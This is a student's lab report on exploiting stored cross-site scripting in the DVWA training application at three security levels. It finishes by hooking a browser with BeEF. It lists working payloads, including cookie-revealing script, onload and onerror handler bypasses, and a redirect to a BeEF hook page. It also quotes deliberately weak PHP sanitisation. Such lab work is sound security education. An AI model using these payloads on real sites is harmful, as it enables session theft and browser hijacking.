Stored Cross-Site Scripting Lab

Abraham J. Reines

November 23, 2024

Contents

1 Introduction

This report outlines the steps completed in the Stored Cross-Site Scripting (XSS) lab.

2 Task 1: DVWA Stored XSS with Low Security

2.1 Steps Taken

1. Logged into the Cyber Range and started the Cyber Basics Environment.
2. Logged into the Linux desktop using the credentials:
   - Username: `student`
   - Password: `student`
3. Opened a web browser and navigated to `http://dvwa.example.com`.
4. Logged into DVWA using:
   - Username: `admin`
   - Password: `password`
5. Set the DVWA Security Level to **Low**.
6. Selected the **XSS (Stored)** vulnerability from the left menu.
7. In the **Name** field, entered `Alice`.
8. In the **Message** field, entered `<h1>Hello World</h1>` and clicked **Sign Guestbook**.
9. Observed the message displayed as a heading.
10. In the **Name** field, entered `Alice`.
11. In the **Message** field, entered `<script>alert("Welcome to the Dark Side")</script>` and clicked **Sign Guestbook**.

12. Observed an alert box displaying the message.

13. In the **Name** field, entered `Alice`.

14. In the **Message** field, entered `<script>alert(document.cookie)</script>` and clicked **Sign Guestbook**.

15. Observed an alert box displaying the session cookie.

16. Navigated away and returned to the **XSS (Stored)** page to confirm the stored XSS.

2.2 Results

The application accepted the malicious scripts without sanitization leading to the execution of JavaScript code whenever the page was loaded.

3 Task 2: DVWA Stored XSS on Medium Security

3.1 Steps Taken

1. Changed the DVWA Security Level to **Medium**.

2. Navigated to the **XSS (Stored)** page.

3. Observed the **Name** field limited input to 10 characters.

4. Right-clicked on the **Name** input field and selected **Inspect Element**.

5. Modified the `maxlength` attribute from `10` to `100`.

6. In the **Name** field, entered `<body onload=alert("medium")>`.

7. In the **Message** field, entered `Hello`.

8. Clicked **Sign Guestbook**.

9. Observed an alert box displaying the message `"medium"`.

10. Navigated away and returned to confirm the stored XSS.

3.2 Code Modification

The following PHP code reflects the sanitization implemented at the medium security level:

```php
<?php

if (isset($_POST[’btnSign’])) {
    // Get input
    $message = trim($_POST[’mtxMessage’]);
    $name    = trim($_POST[’txtName’]);

    // Sanitize message input
    $message = strip_tags(addslashes($message));
    $message = mysqli_real_escape_string($GLOBALS["
       ___mysqli_ston"], $message);
    $message = htmlspecialchars($message);

    // Sanitize name input
    $name = str_replace(’<script>’, ’""’, $name);
    $name = mysqli_real_escape_string($GLOBALS["
       ___mysqli_ston"], $name);

    // Update database
    $query  = "INSERT INTO guestbook (comment, name) VALUES
       (’$message’, ’$name’);";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query
       ) or die(’<pre>’ . mysqli_error($GLOBALS["
       ___mysqli_ston"]) . ’</pre>’);
}

?>
```

3.3 Results

By bypassing client-side restrictions using alternative event handlers we executed a stored XSS attack at the medium security level.

4 Task 3: DVWA Stored XSS on High Security

4.1 Steps Taken

1. Changed the DVWA Security Level to **High**.
2. Navigated to the **XSS (Stored)** page.
3. Clicked **View Source** to examine the sanitization measures.
4. Noted certain characters were filtered.
5. In the **Name** field, entered `<img src=1 onerror=alert(document.domain)>`.
6. In the **Message** field, entered `Test`.
7. Clicked **Sign Guestbook**.
8. Observed an alert box displaying the domain name.
9. Inspected the broken image icon to verify the stored code.

4.2 Results

By exploiting the `onerror` event handler in an `<img>` tag, executed a stored XSS attack even at the high security level.

5 Task 4: Complete Stored XSS Using BeEF

5.1 Steps Taken

1. Opened a terminal gaining root access by typing `sudo su`.
2. Updated the system using `apt update`.
3. Installed BeEF with `apt install beef-xss` confirmed with `Y`.
4. Changed the BeEF password by editing `/etc/beef-xss/config.yaml`.
5. Started BeEF by navigating to `/usr/share/beef-xss` running `./beef`.

6. Accessed BeEF's web interface at `http://127.0.0.1:3000/ui/authentication`.
7. Logged in using the username `beef` and the new password '**mynewpassword**'.
8. Copied the link to the advanced demo page from BeEF.
9. Returned to DVWA and set the Security Level to **Low**.
10. Navigated to the **XSS (Stored)** page.
11. Right-clicked on the **Message** input field, selected **Inspect Element**, and changed `maxlength` to `200`.
12. In the **Name** field, entered `Bob`.
13. In the **Message** field, entered:

```
{<script>document.location=’http://127.0.0.1:3000/
    demos/butcher/index.html’</script>}
```

14. Clicked **Sign Guestbook**.
15. Observed the page redirected to BeEF demo page.
16. Confirmed browser was hooked in BeEF interface.

5.2 Results

By injecting a script which redirected the page to a BeEF-controlled site we demonstrated how attackers could exploit stored XSS vulnerabilities to gain control over a user's browser.

6 Conclusion

Throughout this lab, we successfully exploited stored XSS vulnerabilities in DVWA at different security levels.